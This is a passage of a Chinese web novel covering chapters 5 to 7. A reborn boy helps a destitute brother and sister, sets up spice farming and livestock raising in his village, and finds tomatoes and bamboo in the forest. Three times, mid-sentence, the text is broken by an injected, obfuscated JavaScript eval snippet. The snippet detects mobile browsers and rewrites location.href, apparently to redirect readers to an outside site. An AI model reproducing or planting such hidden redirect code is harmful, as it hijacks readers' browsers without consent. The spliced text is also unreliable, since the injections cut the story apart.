其实这些年为了求个安心,莫恩是经常来祈祷的,希望神明可以听到他的愿望,庇护妹妹远离病魔的侵袭。 兄妹俩跪在神像面前,目含希冀地念着赞美诗,旁边的牧师听着一声声止不住的咳嗽,嫌弃地退远了几步…… 他可没有魔法师们那么强大,若是被污秽病气沾染了,他还得老实买药吃。 怕人病死在教堂,污了光明神庇护人族的名声,牧师只想将他们劝走。 “世上的信徒多不胜数,神明的意志巡视下界之时,自然会对信仰更虔诚,有所付出的信徒有所触动,你们这些只想获取好处的人啊……”牧师失望地叹息一声,“心不够诚,光明神大人不会祝福你们的。” 莫恩早就不是以前那个单纯的小孩儿了,他听懂了‘神明不助穷人’的潜台词,少年默了默,一句话不说,牵着妹妹离开了教廷。 莫恩拿了一个碗,在最热闹的集市口跪着,他不会写字,没办法写下他们的困难,但是这种行为路人都能懂这是在做什么,加上有个瘦弱的小女孩抱着他的手臂又哭又咳,大家似乎也明白了少年讨钱的原因。 “哥哥,我们回家吧,我们不买药了好不好?我已经咳习惯了,没关系的。”莫娜心疼极了,如果没有她,妈妈不会死,爸爸也不会离开,哥哥更不会成为乞丐。 如果她死了,哥哥就没有束缚了…… 早早就身肩重担的莫恩已经变得沉默寡言,他想说很多话安慰妹妹,却不知道说什么,只拿袖子擦着她的眼泪,“别哭了,你每次一激动,咳的更厉害。” 跪到集市已经没多少人了,莫恩得到了大半碗铜币,可是不够,远远不够……低等内愈魔药要卖三枚金币,就是三千铜币! 莫恩正在想,他要不要跟城主府签个卖身契…… “嗯?妹妹病的很严重吗?” 麻木低着脑袋的两兄妹闻声抬头,一眼就撞进了那双深蓝色的眼眸,就像夜晚初临,尚余一丝光亮的清朗天空,深邃而美丽,有着能予人安宁的魔力。 一瞬的愣神之后,莫恩才发现说话之人是个年龄比他小的男孩。 他之前在酒馆做事,见过许多形形色色的人,眼前之人,分明穿着粗布麻衣,却有着远胜于那些富商老爷的气度,看他们的眼神,不是鄙夷,不是怜悯,是不会出现在同龄人身上的平静温和。 莫娜愣愣地看着突然出现的俊俏哥哥,莫恩点了点头,轻轻应了一声回答了那人刚才的问题,如果是一个成年人问话,他还会仔细说说困难之处,请人施舍一点,若是富商,他或许会将自己卖给对方当仆人换钱买药,但是对方一个小孩儿能做什么呢…… 艾尔菲斯见那小女孩儿咳的脸都红了,再观男孩早熟的气质,就知道是从小吃苦的。 若乞讨的是一个成年人,即便是要病死了,艾尔菲斯都会直接路过,他真没有利塞小镇的人们认为的那么贴心善良。 但是,自然界的生灵多会对幼崽有更多善意,看来他也不例外……而且那小女孩儿一咳,她哥哥就立即看她,安抚着她的背,虽不说话,眼中的担忧却显而易见,艾尔菲斯看兄妹俩挺顺眼的。 莫恩眼前突然出现一支装着褐色液体的玻璃管。 “内愈魔药,给她试试吧,不过我也不知道这玩意儿有没有用。” 俩孩子用不可置信的眼神看着他,漂亮的小少年看似在温和微笑,却无人看到他的心在滴血…… 艾尔菲斯这阵子在酒馆赚了几个金币,他刚才路过魔药售卖行,因为对这个世界主要的医疗手段颇为好奇,便斥巨资买了一支低等内愈药剂。 卡文爷爷年龄大了,万一哪天能用上呢,只希望这药真的有听说的那么神奇。 只是没想到药水放在身上还没揣热,就送出去了……这玩意儿可是三金币啊! 莫娜抱着哥哥的手臂,惊讶又疑惑地看着艾尔菲斯,不敢伸手拿。 莫恩抿了抿唇,迟疑地提醒这个看上去并不富裕的同龄人,“这个很贵的,你私自送人,会被父母骂的。” 艾尔菲斯轻笑一声,这小孩儿还挺有原则,“不用担心,我没有父母,也没有其他人会骂我。” 莫恩:“……”小孩子哪儿有钱买魔药,他怀疑药水是偷来的,但是看这人的相貌气质,或许是一个家道中落,尚有余产的少爷? 最终莫恩还是犹豫着接下了魔药,他打开木塞闻了闻,是熟悉的苦涩味道。这次妹妹病重,他便喂了一半,剩下的留给下次。 “这些钱都给你,我以后会努力还钱的,我是莫恩,这是我妹妹莫娜,能知道你住在哪里吗?” 艾尔菲斯扫了一眼那半碗铜币,“不用还。” 说话间,莫娜接连不断的咳嗽已经止住了。 艾尔菲斯好奇观察着她,“药水起作用了?” 莫娜看着这个极好看的好心哥哥,讷讷点头,“谢谢你,我已经好了。” 艾尔菲斯眯了眯眼,见效这么快的药,以他的了解大概就是些麻醉剂、毒素之类的,没想到这个世界的治疗手段如此神奇。 小少年见证了效果之后,点点头,准备走了。 莫恩咬咬牙,追了上去,“小少爷,您需要佣人吗?我把自己送给你,不需要您再花钱,就当报恩了。” 艾尔菲斯失笑,“我不是什么小少爷,也不需要你报恩。” 莫恩急促道:“我之前在酒馆做工,会干很多事,您只需要施舍我一点饭,家事农活我都可以帮您做!” 对方的语气太过卑微,就像把他当成了唯一的救命稻草…… 那小女孩儿看上去就是营养不良的病秧子, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13711029|144553||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 莫不是以后还想求他再买下内愈魔药救人? 不过对拖累了他的妹妹不离不弃,莫恩品行还不错,应该也确实是个知恩图报的性子……思及此处,艾尔菲斯倒是没有对莫恩的纠缠产生反感。 莫娜沉默地站在一旁,她不想哥哥失去自由,但是她竟然觉得……如果主人是给她药水的这个人,应该还不错…… 并非是被精致的脸所吸引,莫娜只是从陌生哥哥身上感受到了从来没有的安定感。 莫恩也有同样的感觉,刚才说的报恩是真的,他心甘情愿为这个同龄人做事,但想求一个庇护所也是真的。 这个白净的小少年,竟然奇异的另他回忆起了父母俱在,能吃饱安睡,房屋也完善到能遮风避雨的安心感,所以当艾尔菲斯转身的时候,莫恩竟有一种被抛弃的恐慌感。 艾尔菲斯想了想,格雷大叔的酒馆最近生意不错,他也提过想招人手的事情,不过艾尔菲斯担心招来个别有用心的,学了做食物的手艺就溜走自己去开个店,成为竞争对手,所以这件事一直拖着。 他想等一个性格可控又稍微谨慎点的帮手,免得格雷大叔这个老实人被忽悠走食谱。 此刻看着小孩儿诚恳又紧张的神情,艾尔菲斯觉得把这份工作给他也不错,能让他养活自己,而且小孩儿嘛,总比心思叵测的大人可控,更何况有恩情的关系,莫恩做事应该会更用心一点?。 蓝眸少年弯着眉眼,“我不需要佣人,不过我有一位开酒馆的叔叔,他最近正想招工,包吃包住,月钱两枚银币,你愿意的话,我带你过去。” 莫恩倒吸一口凉气,包吃包住,还有两枚……银币? 见人一脸懵逼地点了下头,艾尔菲斯轻笑一声,“跟我走吧。” 走在前面的小少年并未看见,牵着手跟在身后的兄妹俩都仔细看着他的背影,生怕这是美梦一场,转眼间对方就消失不见了。 两团白色光晕先后从这对兄妹身上出现,没入了艾尔菲斯的身体里。 格雷一点都不介意艾尔菲斯带来个半大的孩子给他当帮手的决定,他其实是不太喜欢跟成人打交道的,跟小孩子相处会让他自在许多。 就这样,莫恩带着妹妹跟老板一起住在了酒馆后院,白天做工,能吃到美味的食物,打烊之后,和蔼的格雷大叔还会教他们识字。 没想到的是莫恩的厨艺天赋比格雷要好很多,他看一次艾尔菲斯做食物的流程,就能记个七七八八,上手很快,多教导一阵子,主厨就变成了莫恩。 格雷几乎快把他早就不耐烦的做饭工作给撂干净了,如今主要负责烧柴火、记菜、收钱算账什么的,在莫恩快忙不过来的时候会搭把手。 莫娜这个小丫头也不闲着,吃饱了饭后精神比以前足很多,抹桌扫地,倒水端酒这些杂活干的很开心。 —— 莫娜开心地看着艾尔菲斯,“艾尔少爷,您渴不渴?想喝牛奶、果茶还是花草茶?” “牛奶,麻烦莫娜了。”多喝牛奶,有利长高。 “嘿嘿,不麻烦不麻烦。”小莫娜欢欢喜喜地去给恩人倒牛奶,至于威尔大叔说的他要喝酒,她完全没有听到呢! 威尔无奈摇头,跟艾尔熟门熟路地把货物拿进去分门别类地整理好。 正在厨房忙得热火朝天的莫恩眼睛一亮:“少爷,您来啦,要吃点什么吗?” 威尔嘴角一抽,每次跟小艾尔走进这个酒馆,他的存在感就像空气一样…… 每次坐马车之前,担心吃太多容易被颠吐,艾尔菲斯会少吃些早餐,现在也确实饿了,“一份蛋炒饭,辛苦你了。” 威尔趁机道:“我刚才路过厨房,看见炖了大锅的红烧肉呢,小莫恩给我打一份呗,再来一碗蘑菇汤,一碗干饭。” 莫恩点头,“好的,少爷和威尔叔叔到后院坐吧,我等会儿给你们送过去。” 艾尔菲斯:“等我歇一会儿,吃完饭再来教你做菜。” “嗳,谢谢少爷!” 在后院没坐一会儿,格雷老板又跑进来了,“艾尔,你可终于来了!” 威尔大叔:“……”真的没人看到他吗? 以前威尔还知道自己算个商人,自从跟这家酒馆做长期买卖后,他觉得艾尔才是商人老爷,他只是个马夫TAT 格雷像看救星一样看着艾尔菲斯,“前两天城主大人派人过来了!” 6. 第 6 章 艾尔菲斯眉头一皱,“城主?他想要食谱配方?” 格雷连连摆手,“不不不,城主大人说的不是这事儿。” 艾尔菲斯这才放下了心,看来城主没有这么不要脸,只要不是想要走食谱开店抢生意,一切都好商量。 小少年照常挂起了招牌假笑,“格雷叔叔坐下说吧,城主想做什么?” “是这样的,城主大人是想跟我们商量一下,可不可以跟其它城市做烤肉香料的生意,可是这东西我们也没多少……” “你拒绝了?” 格雷不好意思地挠挠头,尴尬笑道:“呃…我不敢拒绝,跟城主府的人说了要问一下货商香料够不够做生意,让他们等我消息。” 艾尔菲斯垂眸思考,若是香料在外界卖的很开,贸易是能提升这个偏远小城的地位的,没有威逼利诱让他们交出食谱配方自己开店赚钱,拉斐城的城主倒是有点大局观。 他们若是跟外界做了生意,赚的越多,交的税也越多,城主府当然会很满意他们。 其实跟地头蛇打好交道也挺好的,这个酒馆的处境也能更安全。 艾尔菲斯倒是想马上同意这件事,可惜…… “下次城主府再派人过来,你就告诉他们,原材料都是货商好运在森林里摘取的,这些量还不够支撑贸易,货商觉得他的主意极好,准备多种植些原材料,运气好的话,等两三年我们就可以少量高价销售出去,再过几年,产量够多了,我们可以大量低价销售,届时,拉斐城必然会声名远扬。” 艾尔菲斯把话术教给格雷,希望城主能吃下这个大饼。 小少年心思一转,继而乖巧笑着建议老板,“格雷大叔,酒馆来往的人多了,遇到的争端也就多了,您啊,最好能跟城主府那边打好关系,遇到困难才有底气一些。比如城主光顾的时候,可以免费赠一份菜品,专门修个清净点的空间给他们这些老爷,或者送他一小包香料粉让他们厨师用。” 至于免单?这就算了吧,万一城主府的人天天来点一大桌菜,这不得亏死? 格雷连连应声,没有一点老板的气势,憨笑的样子太过老实巴交,让艾尔菲斯相当不放心,准备把抱大腿的计划再跟莫恩说一遍。 当天,从拉斐城回去之后,艾尔菲斯夜间躺在床上,细细思索着大规模种植香料的事情。 其实这事儿他心里没太大把握,种香料植株跟平时种菜不一样,种菜他能买种子,有镇们民们教导,但是种香料没人教啊! 艾尔菲斯还是决定一脚踏入种植业——希望我种花家神奇的种植天赋能发挥作用! 大规模种植,他一个人当然忙不过来,还得请不少帮手。 合适的人选在脑中一一闪过,思考之中,奔波了一天的孩子不知不觉地沉睡过去了。 第二日,艾尔菲斯去了猎人马丁的家里,准备给自己找个向导,往森林深处走一点多找些香料植株,顺便把马丁大叔哄过来跟他一起搞畜牧业。 马丁惊讶地看着艾尔菲斯身上半人高的背篓,还有手上的小篮子,这是去采蘑菇和野果? “小艾尔,打猎可不适合背这么大个背篓,快放下!” 马丁一家还在吃早饭,艾尔菲斯递给他们一个大馒头,坐在旁边准备开始洗脑、哦不是,是拉合伙人了。 “这太美味了!” “天呐,艾尔,这一定很贵!” 马丁一家三口还没吃过艾尔菲斯做的馒头,这柔软度,若不是颜色不对,他们还以为这就是贵族吃的白面包了。 “拉斐城有一家酒馆在卖这个,还有很多其它美味,威尔老爷跟他们做了长期交易,我们镇上要卖出去的食材都卖给他们了。” 马丁的夫人惊叹:“哦~这可真是太幸运了。” “还有我养的兔子,从森林里采的东西,也都卖出去好多呢,马丁大叔,您不知道,拉斐城的城主特别看好我们森林里一些可以调味的植株……” 艾尔菲斯说的事情,想到有威尔老爷可以作证,一家人深信不疑,听得一愣一愣的,早餐都忘记吃了。 不多久,艾尔菲斯就说服了马丁大叔陪他去森林找可种植的资源,再活捉些好养的小动物,艾尔菲斯是很想再多养些走地鸟的,这玩意儿长得跟鸡挺像,他想喝鸡汤很久了,可惜他只捉到两只母的,要留着下蛋呢,不能宰。 然后,马丁就背上了比艾尔菲斯身上更大的背篓,带着孩子去森林里扫货去了。 “马丁大叔,这几种蘑菇没有毒,晒干了能存放很久,炖汤很美味。” “这个果子,果肉很酸,汁水也是可以调味的,泡水喝也不错,您闻闻这皮,是不是很香。” “这叶子,等它晒干后香味更浓。” “这确实是种子,但是它磨碎之后很适合撒在烤肉上。” “天呐,这是雄性走地鸟吗?快抓住它!” …… 两人中午都没回去吃午餐,靠着艾尔菲斯早就准备好的馒头和路上的野果子饱腹。 马丁比以前打猎的时候要精神很多,因为他一路都在听艾尔说这个叶子能卖,那个干果壳能卖,这个猎物养起来后又能做什么好吃的…… 马丁充满期待地加入了艾尔菲斯的种树和养殖计划——主要是不需要投入本钱,所以艾尔菲斯说服的挺容易。 背着一堆东西在森林里走动太久,两人都累得不行了,终于在太阳西下之前回去了。 背篓里放满了几种他们挖出来的小树苗,衣服布袋里还放了一大把种子,小篮子里堆着各种乱七八糟的野货,手里还拎着活着的野味,可谓是满载而归。 一边歇着一边商量出种植和养殖的地方,然后马丁去种树,着手准备栅栏,圈一大块地养动物。 艾尔菲斯去做晚餐,将马丁大叔一家的饭一起准备了,用了不少今天他提到过的调味料,吃到美味,也好让他们对新事业多些信心。 这一天,一大一小合作得非常愉快。 再之后,马丁一家三口兴致勃勃地负责去森林里找资源,艾尔菲斯主要负责喂食鸟兔,和威尔老爷一起跟镇长商量利塞小镇经济开发的计划,早日动员大家都参与进来。 同时,艾尔菲斯也教了小镇的酒馆老板做了几道食物和饮品,镇民们尝了,就相信他们要种植的野树野草是能卖出去的了。 这里的酒馆老板列夫大叔可比格雷有厨艺天赋多了,艾尔菲斯没多犹豫,就把自己目前会做的食物都教给了他。 酒馆都是以喝酒为主,吃食为辅的地方,但是艾尔菲斯多呆一会儿,什么酒馆,通通变成饭馆。 他又将蒸的烹饪方式告诉面包店老板汤尼,反正他以后不会在小镇开店,也不用担心抢生意的事情。 没几日,艾尔菲斯就不需要自己做一日三餐了。 他最近累死累活,已经没有以前那么多空闲和精力去做饭了,他现在直接带着卡文爷爷去店里吃,甚至都不需要他付钱,他的烹饪手段给两家店带来了很多生意,老板非常感谢小艾尔,不愿意收他的钱。 很快,镇民们每每提到艾尔菲斯,都感叹这小家伙真是太聪明了,他们对艾尔菲斯是贵族血脉这件事更加深信不疑了。 贵族们都精明、气质相貌突出、爱干净、喜欢舒适的环境和美味的食物,瞧瞧艾尔都对上了! 就算没有条件也要创造条件让自己过上好日子,骨子里就追求高贵的生活,他们这些平民能跟着一起吃肉喝汤真是幸运! 偶然听见有人讨论的艾尔菲斯:“……” 简简单单赚点钱,怎么就扯上什么贵族追求了? 算了,等他们镇上的种植业和养殖业步入正轨,大家的话题应该就会变成“我磨了一天的香料粉好累啊”“这只走地鸟为什么不吃东西了?是不是生病了?”这种正经话题。 因为种植养殖业还不能马上得到回报,镇民们还是没有放下平时讨生活的活计,只是会抽时间听艾尔菲斯安排下来的事,两边兼顾着。 力气大的男人砍下森林边的树,既能劈了做栅栏养牲畜,又能给要种下的香料植被腾位置。 有人跟着马丁从森林里搬自然资源回来,有人织了不少网,想设陷阱活捉一些兽类关起来养着。 大家成群结队地做事,关系比以前还要更紧密。 艾尔菲斯在协调人员和跟进每天的进展之外,也在尝试让植被的种子快点发芽。他上辈子跟老师和师母种过花,对种子催芽的方式倒是有一点了解。 清水浸泡的方法有用,挖个坑,铺一块湿布在底部,再把种子撒进去,用大石板盖住坑,这个方法也是有效的。 艾尔菲斯将方法交给大家,担心混栽影响生长,便让大家分开种了。 住在东边的专门种刺枝树,以后要收集它那麻口的小果子,住在南边的种甘叶树,住在西边的种多籽草…… 镇民们拿到种子,兴致勃勃地开荒播种了,也不愁地盘问题,他们镇上别的不多,就是空地多的很,如果以后这些东西卖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13711030|144553||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得好,他们还能种好几山! 艾尔菲斯每天都忙这忙那,隔几天还要跟威尔大叔进一次城看看格雷的酒馆,哦不,现在大概是叫饭馆了,他每次去的时候都会继续教导莫恩厨艺。 兔子生育率再高,长大也是需要一点时间的,所以艾尔菲斯有阵子没有提供他的食材了。 但是格雷对他特别感恩,也想着艾尔这孩子日后是肯定能当大商人的,他要抱稳大腿,以后才能过得安稳,所以艾尔菲斯每次过去,格雷都会给他四层收益。 某天,艾尔菲斯从城里回到镇上,天色已晚,所以他也没去其它地方,直接回了教堂那边。 小教堂房门大开,卡文牧师照常守在这里,等着信徒过来拜神,听他讲光明的故事。 可是种植养殖业刚开头,利塞小镇的人最近挺忙的,恨不得一个人扳成两半用,而且最近的热门话题都是“今天我们从森林里带回了什么”“今天我种的苗苗又长高了一点”,大家现在喜欢聚在酒馆边吃边聊了,然后很快又精疲力尽,回去休息了,已经没有太多闲暇时间来听卡文牧师讲故事了。 卡文动作慢吞吞地清扫着小教堂的每个角落,艾尔菲斯看见爷爷孤单落寞的背影,一时之间有些心虚。 老人嘛,就喜欢热热闹闹的,更何况卡文当年回到这里的原因就是让教廷尚未照顾到的小地方也能了解光明的伟大,对现有的一切都心怀感恩,要跟随神明和教廷的脚步,关爱世人。 如今镇民们都忙着赚钱,很快就把那些将信将疑的故事抛之脑后,小教堂这边也冷清了下来,这么多年好不容易有点进展的信仰传播,突然就中断了,卡文牧师难免会有些挫败、失望。 艾尔菲斯最近也总是往外跑,很少呆在教堂里,显得卡文牧师越发像个孤寡老人。 “爷爷,您还是多去镇上走动一下,对身体好。” “哎……”老人叹息一声,没说答应还是不答应。 这些天艾尔有些累,不想做饭了,所以都是带他去酒馆吃的,卡文发现镇民们的热情都在赚钱上面,他呆在人群中显得格格不入。 “贪婪,是黑暗种族欣赏的恶性,光明神大人不会喜爱小镇了。” “爷爷,这不叫贪婪,是勤劳致富,等大家赚到钱了,天冷可以买衣,生病可以买魔药,过得幸福安康,这很好啊。” 卡文被噎了一下,觉得孩子说的还是有道理的,但他还是一脸愁容,“光明神拯救了人族,教廷维护世界安稳,不该被遗忘啊。” 无事生愁,艾尔菲斯觉得爷爷每天太闲了才会反反复复地想这些事情,若不是老人年龄大了,出现闪失,摔一跤没准都要骨折,他都要带老人家去养兔种树了。 小少年眯了眯眼睛,决定明天就强行让镇上的小孩儿们过来学习识字。 之前还偶尔有人来,最近小孩儿们图新鲜,跟着大人一路跑,就对学习的事情毫无兴趣了。这可不行,利塞小镇以后是要做大买卖的地方,没几个人识字怎么得了?闹腾的小孩儿一多,还能分散下爷爷的注意力,两全其美。 艾尔菲斯哄着固执的老人:“您总说我们这儿地方偏,见不到神迹,等大家以后有钱远行,能去王城见到宏伟的主教堂,见到您说的神奇魔法,自然就会相信您说的话了,不过是晚了几年,仁慈的光明神大人会愿意给我们这些时间的。” 卡文牧师终于露出点笑容,“艾尔,你说得对,晚些就晚些吧,大家能知道光明神大人的恩德就好。” “您吃过晚餐了吗?” “还没有,这也不急,艾尔,这些日子,你心思总是不在教堂,我很担心你丢失了信仰,快来念一遍颂词,一定要虔诚。” “……” 艾尔菲斯无奈地跪在垫子上,他可以跪天跪地跪祖宗,这个光明神是个什么玩意儿……小少年苦大仇深地盯着铜色神像,虔诚就能保佑我发财吗? 忽然,艾尔菲斯心神一动,从衣服口袋里摸出今天格雷分给他的三枚金币,双手交叉成拳,将之紧握在掌心。 他们种花家人从不养闲神,只有…… 艾尔菲斯闭上眼睛,脑海中勾勒出一个戴着帽子、手捧金元宝的和善老人,心里默念:伟大的财神爷,信男不幸沦落异世,迫于爷爷的恩情,曾歌颂过异神,但请相信,只有您才是我唯一的信仰!信男要带领身边人劳动致富了,请您保佑我们一切顺利,等赚了大钱,信男为您建庙宇,塑金身! 只有财神爷才是干实事的神,拜祂我就可以跪! 7. 第 7 章 翌日,艾尔菲斯招齐镇上的未成年,给他们说了识字对未来的好处,给孩子们画了一个大饼。 小孩儿们一直很崇拜艾尔菲斯,听他说几句,就以为多识字多看书,以后脑子就能变得跟艾尔哥哥/弟弟一样聪明,长大以后,他们能帮镇上做大买卖! 怀着成为大富商的抱负,皮孩子们成群去小教堂找卡文牧师学习去了,至于这爱学习劲头能保持多久……那是之后的事情,谁不爱学习,就找家长谈谈好了。 艾尔菲斯给卡文爷爷找好能陪他打发时间的伴,就放心的继续做自己的事了。 听马丁大叔说,他们这阵子太多人进森林,动静有些大,常走的那条路的外围已经没什么动物活动了,他今天要带人到更深处捕猎。 艾尔菲斯也想再看看有没有他还没见过的新物种,也跟着一起去了。 一行七人,除了马丁人到中年,艾尔菲斯是个小孩儿,其他都是青壮年,年轻人们反应速度快些,活捉到小型兽禽类的可能更大。 几人谨慎地跟着前面领头的背影,“马丁叔,您可一定要记得回去的路啊,我们都靠着您呢。” “放心,丢不了,你叔我十来岁就跟着我父亲进林子,在这里面混了三十年了,更远处不敢说,起码方圆三十几里我是熟悉的。” 利塞小镇的孩子从小就被耳提面命,警告不许进林子深处,因为这地方太大了,人走丢了都不知道往哪个方向找。 他们都被带到小镇边缘最高的一座山上,从山顶处看小镇另一边的森林,那是一望无际的绿色,大家深深地记住了父母的话:走深了会被吞没掉! 森林里是没有路的,大家都是踩着杂草往里走,马丁提醒了一句小心蛇,几个年轻人一刻不敢马虎地拿着木棍边走边划过草丛,就怕踩着毒蛇了。 艾尔菲斯安慰了一句,“不用太担心,我买了一支解毒魔药备着。” 他之前见过内愈魔药的神奇疗效,对这个世界的药剂便增了很多信任,知道这么大个森林里免不了蛇类,便提前做好了准备。 见效这么快的药,若不是没在拉斐城见到爷爷说过的魔导材料行,也没听常年混迹森林的马丁大叔提起见过拥有神奇力量的魔兽,艾尔菲斯还真要相信魔法的存在了。 他想,大概是这个世界有很多特殊植被,促进了药剂研究的发展吧。 走走停停小半天,一直在仔细留意新物种的艾尔菲斯眼尖地看见前方有他半人高的野草丛里显眼的红色。 有一小片地方树木稍微稀少点,有了充足的阳光雨露,杂草长的比其它地方茂盛许多,包括一种结了红色小果子的植株。 艾尔菲斯心尖一颤,怀着巨大期待跑了过去,等他看清那小圆果的样子,再摘了一颗掰开看内部的模样,加上熟悉的气味——卧槽!是小番茄啊! 快挖快挖,全部带回去种!田里终于要添一样新食材了! 以后可以直接当水果卖,可以做番茄炒蛋、番茄蛋花汤、番茄牛腩、番茄酱,还有各种茄汁类菜品,过不了多久天就很热了,他要来一份糖拌番茄!虽然不是白砂糖……嗐,将就吧。 其他人跟着他一起挖,还好奇问他:“艾尔,这个好吃吗?” 这个颜色还是很诱人的,可惜都被鸟啄了,没一个完好的,不然他们就要尝尝了。 艾尔菲斯装作是第一次见,有条有理地分析,“我刚才尝了点汁水,是酸甜的,被鸟吃了这么多,应该没毒,可以试着多种点。你们不要去吃还没有变红的果子,没熟透的可能有毒。” 众人连根挖出,带着土块一起装进了一个背篓,原本背着那个背篓的年轻人觉得背太久会很累,就放在了原地,等着晚点返回的时候顺路带回去,反正又不会被偷。 艾尔菲斯勾着唇角,这般快乐倒是难得有一副小孩儿该有的样子。 他没想到第一次进森林深处就有这么好的运气,连小番茄都碰上了。 这个季节正是番茄结果的时候,再早些或者晚些时日来,就算经过刚才的地方,他也发现不了番茄的存在,因为他只认得果子,对茎叶和花都不熟悉……幸好没错过,嘿嘿! 午餐他们就每人吃了两大馒头,还有刚才路上摘的各种野果。 八个大背篓已经满了六个,都被留在了路上,等着返回的时候带走了。 马丁看看太阳位置,“再往前两里地有条溪流,附近的兽类不少,大家动静都小点,别惊动了它们,再抓一只我们就回去。” 本想抓一只能养殖的,却没想碰上一只野猪! 众人被“哼哧哼哧”的吃食声引起了注意,循声而去,就见一只黑皮野猪正在吃树上掉下来的果子。 这野猪嘴上有俩大獠牙,攻击性强,可不能养,但是……能吃啊! 连艾尔菲斯都不想错过这么多肉。因为品种问题,这个世界的家猪长大后都不足百斤,大小跟现代那些几百斤的没法比,人多肉少,价格也便宜不到哪儿去,很多镇民都是几天才吃一次。 眼前有免费的,怎么能拒绝? 野猪吃的认真,一支箭“嗖”的一声穿透了它的颈部,野猪尖锐地叫了一声,然后倒地抽动了几下,等一众人走了过去,它已经断气了。 艾尔菲斯看着脖颈处流下来的鲜血,目露可惜,午餐只吃了馒头的他不由咽了下口水……想吃毛血旺了。 马丁:“血腥味会吸引猛兽,我们现在就回去。” 背篓还空着的年轻人欲哭无泪:“我、我可能背不动。” 这头野猪看着年龄不大,但艾尔菲斯看看它垂下来的肚子,估计少不了七八十公斤。 “砍颗细点的树,用绳子把它四脚系在上面抬着走。” 大家觉得这样可行,四下一看,树干不是太粗就是太细,马丁回忆了一下:“前面的溪流对面有一片节节树,粗细很合适,里面都是空的,也不重,我们去那边砍树吧。” 艾尔菲斯本来有些累了,听他一说又有了精神,节节树?是没见过的物种诶。 很快他们就走到地方,隔着溪流往对面一看——卧槽,那他妈不是竹子嘛! 艾尔菲斯整个一目瞪口呆,等大家都过去了,才反应过来跟了上去。 这些年在眼前晃的都是欧洲人面容,他潜意识受了影响,总以为自己是重生在一个类似欧洲美洲的地方,所以看见原产种花家的竹子才那么不可思议。 但仔细想来,这个地方的气候确实适合竹子生长,冬天也不是特别冷,森林深处土地湿润,阴凉通风,出现竹林也没什么好奇怪的。 嗅着熟悉的味道,艾尔菲斯心情甚好,马丁却不太喜欢这片林子,“我三年前才来过这边,节节树繁衍太快了,这一根根的,挨得太紧密了。” 年轻人往里面望了望,“确实,太多了,都不好穿过去。” 这片竹林离小镇比较远,大家没什么机会将这一植物的作用研究透。 以往几十年路过此处的几位猎人见它不结果实,叶子又高,吸引不到食草类猎物,更不可能吸引到猛兽,想想进去了都不会有收获,大家都是绕着竹林走的。 年轻人在砍竹子,艾尔菲斯惋惜不已,错过了竹笋生长季节…… “帮我挖些小竹……小树苗,我带回去种。” 马丁提醒他:“艾尔,节节树不长果子的。” “我觉得它有一种独特的清香,竖劈容易开裂,又有韧性和弹性,容易弯曲又不会折断,比藤条更适合编织篮子和背篓,我们拿回去试一下,如果真的做出来了,一定会比我们现在用的轻很多。” 众人纷纷夸赞:小艾尔这么快就有主意了,果然是我们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13711031|144553||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 镇上最聪明的孩子! 艾尔菲斯尴尬地笑笑,也不好解释这是老祖宗们的智慧。 他现在蒸馒头蒸包子,都是把面团放在金属盘子上隔水蒸的,一次性蒸出的数量不多。 格雷大叔他们也总是要隔一阵就去换面团继续蒸,挺麻烦的。 等他用竹子编出蒸笼,到时候一笼一笼地叠起,就能一次性的蒸很多了,虽然他根本不会做蒸笼…… 无所谓,照着记忆中的样子,跟镇上会做手艺的叔婶描述一下,大家一起研究,总能做出来的。 在小镇旁边挑一座山专门种竹子,希望过几年就能长成一片小竹林,然后方便大家取竹子做竹编用品,以后除了卖食材类,什么竹篮、簸箕、竹席什么的,都可以远销出去。 还有竹笋,可以做清炒笋片、凉拌笋丝、竹笋烧肉、泡笋……吸溜。 艾尔菲斯咽了咽口水,明年他就能吃上竹笋了,对了,还能晒成笋干远销出去! 几人挖了一筐小竹子准备回去种,再另砍几棵大的,把野猪和几个背篓挑起来,就两两成组抬着东西往回走了,艾尔菲斯太矮了,他不用抬。 有人注意到小孩儿轻快的脚步,喘着粗气感叹道:“我们几个壮小伙儿还比不过艾尔,累了这么一天,小家伙还是这么有精神。” 艾尔菲斯身体也很疲惫,但他现在脑子里都是各种食谱和致富道路,精神亢奋着呢。 今天运气可真好啊,除了够他们几家分的野猪肉,还活捉了两只走地鸡,还发现了一窝它们的蛋,一家整整齐齐全部带走。 他练了一段时间的箭术已经小有所成,射杀了一只狐狸,皮毛可以拿来做围脖。 几框浆果莓果树苗、香料树苗、还有另外几种他没见过,但是觉得有利用价值的植被,带回去研究一下。 最重要的是,他们找到了小番茄和竹子两种重要的经济作物。 